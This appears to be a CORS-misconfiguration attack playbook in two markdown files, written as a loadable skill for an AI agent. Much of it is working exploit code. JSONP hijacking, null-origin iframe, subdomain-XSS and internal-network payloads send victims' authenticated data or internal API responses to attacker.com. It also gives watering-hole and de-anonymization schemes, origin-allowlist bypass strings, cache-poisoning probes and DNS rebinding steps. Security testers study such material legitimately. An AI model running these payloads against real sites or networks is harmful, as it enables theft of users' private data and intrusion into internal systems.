SCENARIOS.md
# CORS Misconfiguration — Extended Scenarios
> Companion to [SKILL.md](./SKILL.md). Contains JSONP hijacking, same-origin policy deep dive, and real-world exploitation patterns.
---
## 1. JSONP Hijacking — Complete Attack Scenario
### Mechanism
JSONP (JSON with Padding) wraps JSON data in a function call, enabling cross-origin data access via `<script>` tags. If the JSONP endpoint returns sensitive data and doesn't validate the Referer/Origin:
```html
<!-- Attacker's page: -->
<script>
function stolen(data) {
// data contains victim's sensitive information
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<script src="https://target.com/api/userinfo?callback=stolen"></script>
<!-- Victim's browser sends cookies → authenticated request → JSONP returns stolen({"name":"victim","email":"..."}) -->
```
### Watering Hole Attack via JSONP
```text
1. Attacker compromises or creates a popular website (watering hole)
2. Embeds JSONP requests to target sites:
<script src="https://social-site.com/api/profile?callback=exfil"></script>
<script src="https://bank-site.com/api/account?callback=exfil"></script>
3. When victim visits the watering hole:
→ Browser sends authenticated requests to social-site and bank-site
→ JSONP responses contain victim's data
→ exfil() function sends data to attacker
```
### Honeypot De-Anonymization via JSONP
Security teams use JSONP to identify anonymous visitors:
```html
<!-- Honeypot page includes JSONP from social platforms: -->
<script src="https://weibo.com/api/user?callback=identify"></script>
<script src="https://github.com/api/user?callback=identify"></script>
<!-- If visitor is logged in → JSONP returns their profile → de-anonymized -->
```
---
## 2. Same-Origin Policy — Deep Dive
### Definition
Two URLs have the same origin if and only if protocol, hostname, and port all match:
| URL A | URL B | Same Origin? | Reason |
|---|---|---|---|
| `http://a.com/p1` | `http://a.com/p2` | YES | Same protocol, host, port |
| `http://a.com` | `https://a.com` | NO | Different protocol |
| `http://a.com` | `http://b.com` | NO | Different hostname |
| `http://a.com` | `http://a.com:8080` | NO | Different port |
| `http://a.com` | `http://sub.a.com` | NO | Different hostname |
### document.domain Relaxation
Both pages can set `document.domain = "a.com"` to enable cross-subdomain communication:
```javascript
// On sub1.a.com:
document.domain = "a.com";
// On sub2.a.com:
document.domain = "a.com";
// Now they can access each other's DOM
```
**Security risk**: if any subdomain has XSS, it can set `document.domain` and access all other subdomains that do the same.
---
## 3. CORS vs JSONP — Technical Comparison
| Aspect | JSONP | CORS |
|---|---|---|
| Mechanism | `<script>` tag, callback function | `Access-Control-Allow-Origin` header |
| HTTP methods | GET only | Any method (with preflight for non-simple) |
| Data format | Wrapped in function call | Native JSON/XML/etc. |
| Error handling | No (script either loads or fails) | Yes (fetch API catches errors) |
| Security control | Referer/callback validation | Origin header + server whitelist |
| Browser support | All (legacy) | Modern (IE10+) |
| Credential handling | Always sends cookies | Only with `credentials: include` + server allow |
**Migration path**: replace JSONP endpoints with proper CORS configuration.
---
## 4. CORS Exploitation Payloads
### Read Authenticated Data (reflected origin)
```javascript
// If server reflects any Origin in Access-Control-Allow-Origin:
fetch('https://target.com/api/sensitive-data', {
credentials: 'include' // sends cookies
})
.then(r => r.json())
.then(data => {
// Exfiltrate:
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
```
### Null Origin Exploit (sandbox)
```html
<!-- Create null origin via sandboxed iframe: -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/data', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/c?d='+btoa(d)));
</script>
"></iframe>
<!-- Origin header sent as: null -->
<!-- If server allows Access-Control-Allow-Origin: null → exploitable -->
```
---
## 5. Dual-Site Attack Lab Pattern
Testing JSONP hijacking or CORS with two local servers:
```text
Server A (target): localhost:8981 — login page, authenticated API with JSONP
Server B (attacker): localhost:8982 — hosts attack page with JSONP/CORS exploit
Attack flow:
1. Victim logs into Server A (gets session cookie)
2. Victim visits Server B (attacker page)
3. Server B's page includes <script src="http://localhost:8981/api/userinfo?callback=steal">
4. Browser sends Server A's cookies → authenticated JSONP response
5. steal() function on Server B captures the data
Note: for non-localhost testing, change the attack page's target URLs accordingly.
```
SKILL.md
---
name: cors-cross-origin-misconfiguration
description: >-
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
---
# SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
> **AI LOAD INSTRUCTION**: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
### Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
- CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
- Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
## 1. WHEN TO LOAD THIS SKILL
Load when:
- Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
- A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin
## 2. HIGH-VALUE MISCONFIGURATION CHECKS
| Theme | What to Check |
|---|---|
| wildcard with credentials | `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary `Origin` |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
| `null` origin | acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
## 3. QUICK TRIAGE
1. Send crafted `Origin` headers and inspect reflection.
2. Test with and without credentials.
3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
4. If readable data is sensitive, chain to account or tenant impact.
## 4. RELATED ROUTES
- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
---
## 5. NULL ORIGIN EXPLOITATION
### How `Origin: null` is sent
| Context | Origin Header Value |
|---------|-------------------|
| Sandboxed iframe (`<iframe sandbox>`) | `null` |
| `data:` URI scheme | `null` |
| `file:` protocol (local HTML) | `null` |
| Cross-origin redirect chain (some browsers) | `null` |
| Serialized data in `blob:` URL from opaque origin | `null` |
### Exploitation
If the server includes `null` in its origin allowlist or reflects it:
```http
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```
```html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
```
The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
---
## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN
### Attack flow
```text
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
```
### PoC (injected via XSS on blog.target.com)
```javascript
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
```
### Why this works
- `blog.target.com` is **same-site** with `api.target.com` → `SameSite` cookies sent
- CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
- Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
### Reconnaissance for this chain
```text
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
```
---
## 7. VARY: ORIGIN CACHING ISSUE
### Problem
When the server reflects `Origin` in `Access-Control-Allow-Origin` but does **not** include `Vary: Origin` in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
```text
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
```
### Detection
```bash
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
```
### Exploitation
```text
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
```
### Fix verification
```text
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
```
---
## 8. REGEX BYPASS PATTERNS
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
|-----------------|------|---------------|
| `^https?://.*\.target\.com$` | `.*` matches anything including `-` | `https://attacker-target.com` |
| `^https?://.*target\.com$` | Missing anchor after subdomain | `https://nottarget.com`, `https://attacker.com/.target.com` |
| `target\.com` (substring match) | No anchors | `https://attacker.com?target.com` |
| `^https?://(.*\.)?target\.com$` | Missing port restriction | `https://target.com.attacker.com:443` |
| `^https://[a-z]+\.target\.com$` | Missing end anchor for path | N/A (but misses subdomains with `-` or digits) |
| Backtracking-vulnerable regex | ReDoS | `https://aaaa...aaa.target.com` (CPU exhaustion) |
### Test payloads for origin validation bypass
```text
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
```
### Advanced: Unicode normalization bypass
```text
https://target.com → https://ⓣarget.com (Unicode homoglyph)
```
Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
---
## 9. INTERNAL NETWORK CORS EXPLOITATION
### Scenario
An internal-only API (e.g., `http://192.168.1.100:8080/admin`) is configured with:
```http
Access-Control-Allow-Origin: *
```
Internal APIs often use wildcard CORS because "only internal users can reach it."
### Attack chain
```text
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
```
```javascript
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
```
### Port scanning via CORS timing
Even without `Access-Control-Allow-Origin: *`, the attacker can infer internal service availability:
- **Port open**: connection established → CORS error (different timing)
- **Port closed**: connection refused → fast error
- **Host down**: timeout → slow error
### Combined with DNS rebinding
```text
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable
```